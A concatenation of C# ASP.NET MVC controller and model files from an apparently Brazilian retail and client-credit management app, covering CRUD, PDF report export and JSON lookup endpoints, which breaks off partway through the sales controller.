// GET: Clientes/Delete/5
public JsonResult DeletarRegistro(int? id)
{
if (id != null)
{
Pais pais = db.Pais.Find(id);
db.Pais.Remove(pais);
try
{
db.SaveChanges();
}
catch (DbUpdateException ex)
{
var sqlException = ex.GetBaseException() as SqlException;
if (sqlException != null)
{
return Json(false, JsonRequestBehavior.AllowGet);
}
}
}
return Json(true, JsonRequestBehavior.AllowGet);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using Newtonsoft.Json;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
using System.Data.Entity.Infrastructure;
using System.Data.SqlClient;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário")]
public class CidadesController : Controller
{
private Contexto db = new Contexto();
// GET: Cidades
public ActionResult Index()
{
return View(db.Cidade.Include(e => e.estado).OrderBy(c => c.nome).ToList());
}
[HttpPost]
public ActionResult Index(string pesquisar)
{
return View("Index", db.Cidade.Include(e => e.estado).Where(c => c.nome.Contains(pesquisar)).ToList());
}
public ActionResult Exportar()
{
List<Cidade> cidade = new List<Cidade>();
cidade = db.Cidade.ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Cidades.rpt"));
rd.SetDataSource(cidade);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Cidades.pdf");
}
[HttpGet]
public JsonResult DropboxEstados()
{
var listaEstados = db.Estado.Select(e => new { e.id, e.nome, e.pais.sigla }).OrderBy(e => e.nome).ToArray();
var obj = new
{
lista = listaEstados
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
private void ConfiguraNomeEstado(Cidade cidade)
{
if (cidade.estado == null)
{
Estado estado = new Estado();
estado.id = cidade.estadoId;
cidade.estado = db.Estado.Find(estado.id);
if(cidade.estado.pais == null)
{
Pais pais = new Pais();
pais.id = cidade.estado.paisId;
cidade.estado.pais = db.Pais.Find(pais.id);
}
}
cidade.estadoNome = cidade.estado.id + " - " + cidade.estado.nome + "/" + cidade.estado.pais.sigla;
}
private bool VerificaJaExiste(Cidade cidade)
{
List<Cidade> resultado = new List<Cidade>();
resultado = db.Cidade.Where(e => e.nome == cidade.nome && e.estadoId == cidade.estadoId).ToList();
if (resultado.Count() > 0)
{
return true;
}
return false;
}
// GET: Cidades/Details/5
public ActionResult Details(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Cidade cidade = db.Cidade.Find(id);
if (cidade == null)
{
return HttpNotFound();
}
return View(cidade);
}
// GET: Clientes/Details/5
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Cidade cidade = db.Cidade.Find(id);
if (cidade == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
if(cidade.estado == null)
{
cidade.estado = db.Estado.Find(cidade.estadoId);
}
sucesso = true;
resultado = JsonConvert.SerializeObject(cidade);
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
// GET: Cidades/Create
public ActionResult Create()
{
ViewBag.Estados = new SelectList(db.Estado, "Id", "Nome", "Sigla");
return View();
}
// POST: Cidades/Create
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(Cidade model)
{
if (ModelState.IsValid)
{
model.nome = model.nome.ToUpper();
if (VerificaJaExiste(model))
{
ViewBag.Erro = "Ja existe um registro com os valores informados!";
return View(model);
}
model.ConfigurarParaSalvar();
db.Cidade.Add(model);
db.SaveChanges();
return RedirectToAction("Index");
}
ViewBag.Estados = new SelectList(db.Estado, "Id", "Nome", "Sigla");
return View(model);
}
// GET: Cidades/Edit/5
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Cidade cidade = db.Cidade.Find(id);
if (cidade == null)
{
return HttpNotFound();
}
ViewBag.Estados = new SelectList(db.Estado, "Id", "Nome", "Sigla");
this.ConfiguraNomeEstado(cidade);
return View(cidade);
}
// POST: Cidades/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(Cidade model)
{
if (ModelState.IsValid)
{
model.nome = model.nome.ToUpper();
model.ConfigurarParaSalvar();
db.Entry(model).State = EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
ViewBag.Estados = new SelectList(db.Estado, "Id", "Nome", "Sigla");
return View(model);
}
// GET: Cidades/Delete/5
public ActionResult Delete(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Cidade cidade = db.Cidade.Find(id);
if (cidade == null)
{
return HttpNotFound();
}
ViewBag.Estados = new SelectList(db.Estado, "Id", "Nome", "Sigla");
return View(cidade);
}
// POST: Cidades/Delete/5
[HttpPost, ActionName("Delete")]
[ValidateAntiForgeryToken]
public ActionResult DeleteConfirmed(int id)
{
Cidade cidade = db.Cidade.Find(id);
db.Cidade.Remove(cidade);
db.SaveChanges();
return RedirectToAction("Index");
}
// GET: Clientes/Delete/5
public JsonResult DeletarRegistro(int? id)
{
if (id != null)
{
Cidade cidade = db.Cidade.Find(id);
db.Cidade.Remove(cidade);
try
{
db.SaveChanges();
}
catch (DbUpdateException ex)
{
var sqlException = ex.GetBaseException() as SqlException;
if (sqlException != null)
{
return Json(false, JsonRequestBehavior.AllowGet);
}
}
}
return Json(true, JsonRequestBehavior.AllowGet);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
namespace Finis.Models
{
public class ItemVenda : EntidadeAbstrata
{
public ItemVenda()
{
this.quantidade = 1;
}
public int indice { get; set; }
[Display(Name = "Quantidade")]
[DisplayFormat(DataFormatString = "{0}",
ApplyFormatInEditMode = true,
NullDisplayText = "Estoque vazio")]
[Range(0, 5000, ErrorMessage = "A quantidade deverá ser entre 0 e 5000")]
public int quantidade { get; set; }
[Display(Name = "Preço Total")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem preço")]
public decimal precoTotal { get; set; }
[Display(Name = "Venda")]
public int vendaId { get; set; }
[ForeignKey("vendaId")]
public virtual Venda venda { get; set; }
[Display(Name = "Item")]
public int itemId { get; set; }
[ForeignKey("itemId")]
public virtual Item item { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using Newtonsoft.Json;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
using System.Data.Entity.Infrastructure;
using System.Data.SqlClient;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário")]
public class ClientesController : Controller
{
private Contexto db = new Contexto();
// GET: Clientes
public ActionResult Index()
{
return View(db.Cliente.Where(c => c.ativo == true).ToList().OrderBy(c => c.nome));
}
[HttpPost]
public ActionResult Index(string pesquisar, bool ativo)
{
return View("Index", db.Cliente.Where(c => c.ativo.Equals(ativo) && (c.rg.Contains(pesquisar) || c.nome.Contains(pesquisar))).ToList());
}
public ActionResult Exportar()
{
List<Cliente> clientes = new List<Cliente>();
clientes = db.Cliente.ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Clientes.rpt"));
rd.SetDataSource(clientes);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Clientes.pdf");
}
[HttpGet]
public JsonResult DropboxCidades()
{
var listaCidades = db.Cidade.Select(c => new { c.id, c.nome, c.estado.sigla }).OrderBy(c => c.nome).ToArray();
var obj = new
{
lista = listaCidades
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
private void ConfiguraNomeCidade(Cliente cliente)
{
if (cliente.endereco == null || cliente.endereco.id == 0)
{
cliente.endereco = db.Endereco.Find(cliente.enderecoId);
}
if (cliente.endereco.cidade == null || cliente.endereco.cidadeId == null || cliente.endereco.cidade.id == 0)
{
cliente.endereco.cidade = db.Cidade.Find(cliente.endereco.cidadeId);
}
if (cliente.endereco.cidade.estado == null || cliente.endereco.cidade.estadoId == 0 || cliente.endereco.cidade.estado.id == 0)
{
cliente.endereco.cidade.estado = db.Estado.Find(cliente.endereco.cidade.estadoId);
}
cliente.endereco.cidadeNome = cliente.endereco.cidade.id + " - " + cliente.endereco.cidade.nome + "/" + cliente.endereco.cidade.estado.sigla;
}
private bool VerificaJaExiste(Cliente cliente)
{
List<Cliente> resultado = new List<Cliente>();
resultado = db.Cliente.Where(c => c.nome == cliente.nome && c.rg == cliente.rg).ToList();
if (resultado.Count() > 0)
{
return true;
}
return false;
}
private Endereco RecuperaEndereco(int? id)
{
if(id != null)
{
Endereco endereco = db.Endereco.Find(id);
if(endereco.cidade == null)
{
endereco.cidade = db.Cidade.Find(endereco.cidadeId);
}
return endereco;
}
return new Endereco();
}
// GET: Clientes/Details/5
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Cliente cliente = db.Cliente.Find(id);
if (cliente == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
cliente.endereco = RecuperaEndereco(cliente.enderecoId);
sucesso = true;
resultado = cliente.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
// GET: Clientes/Create
public ActionResult Create()
{
ViewBag.Cidades = new SelectList(db.Cidade, "Id", "Nome", "Estado");
return View();
}
// POST: Clientes/Create
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(Cliente model)
{
if (ModelState.IsValid)
{
if (VerificaJaExiste(model))
{
ViewBag.Erro = "Ja existe um registro com os valores informados!";
return View(model);
}
model.ConfigurarParaSalvar();
db.Cliente.Add(model);
db.SaveChanges();
VerificaSaldo(model);
return RedirectToAction("Index");
}
ViewBag.Cidades = new SelectList(db.Cidade, "Id", "Nome", "Estado");
return View(model);
}
// GET: Clientes/Edit/5
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Cliente cliente = db.Cliente.Find(id);
if (cliente == null)
{
return HttpNotFound();
}
ViewBag.Cidades = new SelectList(db.Cidade, "Id", "Nome", "Estado");
this.ConfiguraNomeCidade(cliente);
var enderecoID = cliente.enderecoId;
cliente.endereco = this.RecuperaEndereco(cliente.enderecoId);
cliente.enderecoId = enderecoID;
return View(cliente);
}
// POST: Clientes/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(Cliente model)
{
if (ModelState.IsValid)
{
model.endereco.id = model.enderecoId;
VerificaSaldo(model);
model.ConfigurarParaSalvar();
var local = db.Set<Cliente>()
.Local
.FirstOrDefault(f => f.id == model.id);
db.Entry(local).State = System.Data.Entity.EntityState.Detached;
db.Entry(model).State = System.Data.Entity.EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
ViewBag.Cidades = new SelectList(db.Cidade, "Id", "Nome", "Estado");
return View(model);
}
public void VerificaSaldo(Cliente model)
{
if (model.id != null)
{
Cliente cliente = db.Cliente.Find(model.id);
if (cliente != null)
{
if (cliente.saldoCreditoEspecial != model.saldoCreditoEspecial)
{
cliente.NovoSaldoEspecial(model.saldoCreditoEspecial);
db.Entry(cliente).State = EntityState.Modified;
db.SaveChanges();
}
if (cliente.saldoCreditoParcial != model.saldoCreditoParcial)
{
cliente.NovoSaldoParcial(model.saldoCreditoParcial);
db.Entry(cliente).State = EntityState.Modified;
db.SaveChanges();
}
}
}
}
public void AtualizaSaldoEspecial(int? id, decimal? creditoEspecial)
{
if(id != null)
{
Cliente cliente = db.Cliente.Find(id);
if (cliente != null)
{
cliente.AtualizaSaldoEspecial(creditoEspecial.GetValueOrDefault());
db.Entry(cliente).State = EntityState.Modified;
db.SaveChanges();
}
}
}
public void AtualizaSaldoParcial(int? id, decimal? creditoParcial)
{
if (id != null)
{
Cliente cliente = db.Cliente.Find(id);
if (cliente != null)
{
cliente.AtualizaSaldoParcial(creditoParcial.GetValueOrDefault());
db.Entry(cliente).State = EntityState.Modified;
db.SaveChanges();
}
}
}
// GET: Clientes/Delete/5
public ActionResult Delete(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Cliente cliente = db.Cliente.Find(id);
if (cliente == null)
{
return HttpNotFound();
}
ViewBag.Cidades = new SelectList(db.Cidade, "Id", "Nome", "Estado");
return View(cliente);
}
// GET: Clientes/Delete/5
public JsonResult DeletarRegistro(int? id)
{
if(id != null)
{
Cliente model = db.Cliente.Find(id);
//Endereco endereco = this.RecuperaEndereco(cliente.enderecoId);
//db.Cliente.Remove(cliente);
//db.Endereco.Remove(endereco);
model.ativo = false;
var local = db.Set<Cliente>()
.Local
.FirstOrDefault(f => f.id == model.id);
db.Entry(local).State = System.Data.Entity.EntityState.Detached;
db.Entry(model).State = System.Data.Entity.EntityState.Modified;
try
{
db.SaveChanges();
}
catch (DbUpdateException ex)
{
var sqlException = ex.GetBaseException() as SqlException;
if (sqlException != null)
{
return Json(false, JsonRequestBehavior.AllowGet);
}
}
}
return Json(true, JsonRequestBehavior.AllowGet);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}
<file_sep>namespace br.com.Sistema.uml.classes de entidades
{
public enum Conservacao
{
NOVO,
USADO,
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Web;
namespace Finis.Models
{
public class Servico : Item
{
public Servico()
{
this.quantidadeEstoque = 999;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Web;
using System.Web.Mvc;
namespace Finis.Models
{
public class Fornecedor : EntidadeAbstrata
{
[Display(Name = "Nome")]
[StringLength(50, ErrorMessage = "O nome é muito longo")]
public string nome { get; set; }
[Display(Name = "CNPJ")]
[StringLength(50, ErrorMessage = "O número do documento é muito longo")]
//[Remote(action: "ValidaCnpj", controller: "Fornecedores", ErrorMessage = "CNPJ Inválido!")]
public string cnpj { get; set; }
[Display(Name = "Telefone")]
[StringLength(15, ErrorMessage = "O número é muito longo")]
public string telefone { get; set; }
[Display(Name = "E-mail")]
[DataType(DataType.EmailAddress, ErrorMessage = "Por favor insira um e-mail válido")]
[StringLength(50, ErrorMessage = "O e-mail é muito longo")]
public string email { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
using System.Data.Entity.Infrastructure;
using System.Data.SqlClient;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário")]
public class IdiomasController : Controller
{
private Contexto db = new Contexto();
// GET: Idiomas
public ActionResult Index()
{
var idiomas = db.Idioma.Include(i => i.pais);
return View(idiomas.ToList().OrderBy(i => i.nome));
}
[HttpPost]
public ActionResult Index(string pesquisar)
{
return View("Index", db.Idioma.Include(i => i.pais).Where(c => c.nome.Contains(pesquisar)).ToList().OrderBy(i => i.nome));
}
[HttpGet]
public JsonResult DropboxPaises()
{
var listaPaises = db.Pais.Select(p => new { p.id, p.nome }).OrderBy(p => p.nome).ToArray();
var obj = new
{
lista_paises = listaPaises
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
private void ConfiguraNomePais(Idioma idioma)
{
if (idioma.pais == null)
{
idioma.pais = db.Pais.Find(idioma.paisId);
}
idioma.paisNome = idioma.pais.id + " - " + idioma.pais.nome;
}
private bool VerificaJaExiste(Idioma idioma)
{
List<Idioma> resultado = new List<Idioma>();
resultado = db.Idioma.Where(e => e.nome == idioma.nome && e.paisId == idioma.paisId).ToList();
if (resultado.Count() > 0)
{
return true;
}
return false;
}
// GET: Clientes/Details/5
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Idioma idioma = db.Idioma.Find(id);
if (idioma == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
if (idioma.pais == null)
{
idioma.pais = db.Pais.Find(idioma.paisId);
}
sucesso = true;
resultado = idioma.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
public ActionResult Exportar()
{
List<Idioma> idioma = new List<Idioma>();
idioma = db.Idioma.ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Idiomas.rpt"));
rd.SetDataSource(idioma);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Idiomas.pdf");
}
// GET: Idiomas/Create
public ActionResult Create()
{
ViewBag.paisId = new SelectList(db.Pais, "id", "nome");
return View();
}
// POST: Idiomas/Create
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(Idioma idioma)
{
if (ModelState.IsValid)
{
idioma.nome = idioma.nome.ToUpper();
if (VerificaJaExiste(idioma))
{
ViewBag.Erro = "Ja existe um registro com os valores informados!";
return View(idioma);
}
idioma.ConfigurarParaSalvar();
db.Idioma.Add(idioma);
db.SaveChanges();
return RedirectToAction("Index");
}
ViewBag.paisId = new SelectList(db.Pais, "id", "nome", idioma.paisId);
return View(idioma);
}
// GET: Idiomas/Edit/5
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Idioma idioma = db.Idioma.Find(id);
if (idioma == null)
{
return HttpNotFound();
}
ViewBag.paisId = new SelectList(db.Pais, "id", "nome", idioma.paisId);
this.ConfiguraNomePais(idioma);
return View(idioma);
}
// POST: Idiomas/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(Idioma idioma)
{
if (ModelState.IsValid)
{
idioma.nome = idioma.nome.ToUpper();
idioma.ConfigurarParaSalvar();
db.Entry(idioma).State = EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
ViewBag.paisId = new SelectList(db.Pais, "id", "nome", idioma.paisId);
return View(idioma);
}
// GET: Clientes/Delete/5
public JsonResult DeletarRegistro(int? id)
{
if (id != null)
{
Idioma idioma = db.Idioma.Find(id);
db.Idioma.Remove(idioma);
try
{
db.SaveChanges();
}
catch (DbUpdateException ex)
{
var sqlException = ex.GetBaseException() as SqlException;
if (sqlException != null)
{
return Json(false, JsonRequestBehavior.AllowGet);
}
}
}
return Json(true, JsonRequestBehavior.AllowGet);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário")]
public class TransacoesController : Controller
{
private Contexto db = new Contexto();
// GET: Transacoes
public ActionResult Index()
{
var transacoes = db.Transacao.Include(t => t.cliente).OrderByDescending(t => t.data);
return View(transacoes.ToList());
}
[HttpPost]
public ActionResult Index(string pesquisar, DateTime? dataInicio, DateTime? dataFim)
{
if (dataInicio != null)
{
if (dataFim != null)
{
if (pesquisar != null && pesquisar != "")
{
if (pesquisar.Contains("-"))
{
string[] tokens = pesquisar.Split('-');
if (tokens.Length == 3)
{
string nome = tokens[1].Replace(" ", "");
string rg = tokens[2].Replace(" ", "");
return View(db.Transacao
.Include(t => t.cliente)
.Where(t => t.cliente.nome.Contains(nome) || t.cliente.rg.Contains(rg))
.OrderBy(t => t.cliente.nome)
.ToList());
}
}
return View(db.Transacao
.Include(t => t.cliente)
.Where(t => t.cliente.nome.Contains(pesquisar) || t.cliente.rg.Contains(pesquisar) && t.data >= dataInicio && t.data <= dataFim)
.OrderBy(t => t.cliente.nome)
.ToList());
}
else
{
return View(db.Transacao
.Include(t => t.cliente)
.Where(t => t.data >= dataInicio && t.data <= dataFim)
.OrderByDescending(t => t.data)
.ToList());
}
}
else
{
return View(db.Transacao
.Include(t => t.cliente)
.Where(t => t.data == dataInicio)
.OrderByDescending(t => t.data)
.ToList());
}
}
else if (pesquisar != null && pesquisar != "")
{
if (pesquisar.Contains("-"))
{
string[] tokens = pesquisar.Split('-');
if (tokens.Length == 3)
{
string nome = tokens[1].Replace(" ", "");
string rg = tokens[2].Replace(" ", "");
return View(db.Transacao
.Include(t => t.cliente)
.Where(t => t.cliente.nome.Contains(nome) || t.cliente.rg.Contains(rg))
.OrderBy(t => t.cliente.nome)
.ToList());
}
}
return View(db.Transacao
.Include(t => t.cliente)
.Where(t => t.cliente.nome.Contains(pesquisar) || t.cliente.rg.Contains(pesquisar))
.OrderBy(t => t.cliente.nome)
.ToList());
}
else
{
return View(db.Transacao
.Include(t => t.cliente)
.OrderByDescending(t => t.data)
.ToList());
}
}
public ActionResult Exportar()
{
List<Transacao> transacao = new List<Transacao>();
transacao = db.Transacao.ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Transacoes.rpt"));
rd.SetDataSource(transacao);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Transacoes.pdf");
}
[HttpGet]
public JsonResult DropboxClientes()
{
var listaClientes = db.Cliente.Select(e => new { e.id, e.nome, e.rg }).OrderBy(e => e.nome).ToArray();
var obj = new
{
lista = listaClientes
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Transacao transacao = db.Transacao.Find(id);
if (transacao == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
if(transacao.cliente == null)
{
transacao.cliente = db.Cliente.Find(transacao.clienteId);
}
sucesso = true;
resultado = transacao.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
public void GeraTransacaoEntrada(decimal? valor, TipoCredito credito, int? clienteId)
{
Transacao transacao = new Transacao();
transacao.NovaTransacaoEntrada(valor, credito, clienteId);
transacao.ConfigurarParaSalvar();
db.Transacao.Add(transacao);
db.SaveChanges();
}
public void GeraTransacaoSaida(decimal? valor, TipoCredito credito, int? clienteId)
{
Transacao transacao = new Transacao();
transacao.NovaTransacaoSaida(valor, credito, clienteId);
transacao.ConfigurarParaSalvar();
db.Transacao.Add(transacao);
db.SaveChanges();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
namespace Finis.Controllers
{
public class VendasController : Controller
{
private Contexto db = new Contexto();
// GET: Vendas
public ActionResult Index()
{
return View(db.Venda.Include(a => a.cliente).ToList().OrderByDescending(a => a.dataCompra));
}
[HttpPost]
public ActionResult Index(string pesquisar, DateTime? dataInicio, DateTime? dataFim)
{
if (dataInicio != null)
{
if (dataFim != null)
{
if (pesquisar != null && pesquisar != "")
{
if (pesquisar.Contains("-"))
{
string[] tokens = pesquisar.Split('-');
if (tokens.Length == 3)
{
string nome = tokens[1].Replace(" ", "");
string rg = tokens[2].Replace(" ", "");
return View(db.Venda
.Include(t => t.cliente)
.Where(t => t.cliente.nome.Contains(nome) || t.cliente.rg.Contains(rg) && t.dataCompra >= dataInicio && t.dataCompra <= dataFim)
.OrderBy(t => t.cliente.nome)
.ToList());
}
}
return View(db.Venda
.Include(t => t.cliente)
.Where(t => t.cliente.nome.Contains(pesquisar) || t.cliente.rg.Contains(pesquisar) && t.dataCompra >= dataInicio && t.dataCompra <= dataFim)
.OrderBy(t => t.cliente.nome)
.ToList());
}
else
{
return View(db.Venda
.Include(t => t.cliente)
.Where(t => t.dataCompra >= dataInicio && t.dataCompra <= dataFim)
.OrderByDescending(t => t.dataCompra)
.ToList());
}
}
else
{
return View(db.Venda
.Include(t => t.cliente)
.Where(t => t.dataCompra == dataInicio)
.OrderByDescending(t => t.dataCompra)
.ToList());
}
}
else if (pesquisar != null && pesquisar != "")
{
if (pesquisar.Contains("-"))
{
string[] tokens = pesquisar.Split('-');
if (tokens.Length == 3)
{
string nome = tokens[1].Replace(" ", "");
string rg = tokens[2].Replace(" ", "");
return View(db.Venda
.Include(t => t.cliente)
.Where(t => t.cliente.nome.Contains(nome) || t.cliente.rg.Contains(rg))
.OrderBy(t => t.cliente.nome)
.ToList());
}
}
return View(db.Venda
.Include(t => t.cliente)
.Where(t => t.cliente.nome.Contains(pesquisar) || t.cliente.rg.Contains(pesquisar))
.OrderBy(t => t.cliente.nome)
.ToList());
}
else
{
return View(db.Venda
.Include(t => t.cliente)
.OrderByDescending(t => t.dataCompra)
.ToList());
}
}
[HttpGet]
public JsonResult CalculaValores(string desconto, string descontoPorcentagem, string subtotal, string creditoParcial,
string creditoEspecial, string total, string recebido, string troco)
{
IList<ItemVenda> listaItens = (List<ItemVenda>)Session["ListaItens"];
bool resultado;
Decimal Desconto = Decimal.Parse(desconto.Replace(".", ","));
Decimal DescontoPorcentagem = Decimal.Parse(descontoPorcentagem);
Decimal Subtotal = 0;
Decimal CreditoParcial = Decimal.Parse(creditoParcial.Replace(".", ","));
Decimal CreditoEspecial = Decimal.Parse(creditoEspecial.Replace(".", ","));
Decimal Total = 0;
Decimal Recebido = Decimal.Parse(recebido);
Decimal Troco = 0;
if (listaItens != null)
{
foreach(ItemVenda item in listaItens)
{
Subtotal += item.precoTotal;
}
}
Total = Subtotal;
Total -= Convert.ToDecimal(((double)DescontoPorcentagem / 100) * Convert.ToDouble(Total));
Total -= Desconto;
Total -= CreditoParcial;
Total -= CreditoEspecial;
Troco = Recebido - Total;
if(Troco < 0)
{
Troco = 0;
}
if(Total > 0)
{
resultado = true;
}
else
{
resultado = false;
}
var obj = new
{
Resultado = resultado,
Desconto = Desconto.ToString(),
DescontoPorcentagem = DescontoPorcentagem.ToString(),
Subtotal = Subtotal.ToString(),
CreditoParcial = CreditoParcial.ToString(),
CreditoEspecial = CreditoEspecial.ToString(),
Total = Total.ToString(),
Recebido = Recebido.ToString(),
Troco = Troco.ToString()
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
[HttpGet]
public JsonResult DropboxItens()
{
var listaItens = db.Item.Where((e => e.quantidadeEstoque > 0))
.Select(e => new { e.id, e.nome})
.OrderBy(e => e.nome)
.ToArray();
var obj = new
{
lista = listaItens
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
[HttpGet]
public JsonResult RecuperaCreditosCliente(int? id)
{
string creditoEspecial = "";
string creditoParcial = "";
if (id != null)
{
var cliente = db.Cliente.Find(id);
if(cliente != null)
{
creditoEspecial = cliente.saldoCreditoEspecialString;
creditoParcial = cliente.saldoCreditoParcialString;
}
}
var obj = new
{
creditoEspecial = creditoEspecial,
creditoParcial = creditoParcial
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
//private void ConfiguraNomeCliente(Venda venda)
//{
// if (venda.cliente == null)
// {
// venda.cliente = db.Cliente.Find(venda.clienteId);
// }
// venda.clienteNome = venda.cliente.id + " - " + venda.cliente.nome + " - " + venda.cliente.rg;
//}
// GET: Vendas/Create
public ActionResult Create()
{
Session["ListaItens"] = new List<ItemVenda>();
ViewBag.Clientes = new SelectList(db.Cliente, "id", "nome");
return View(new Venda());
}
// POST: Vendas/Create
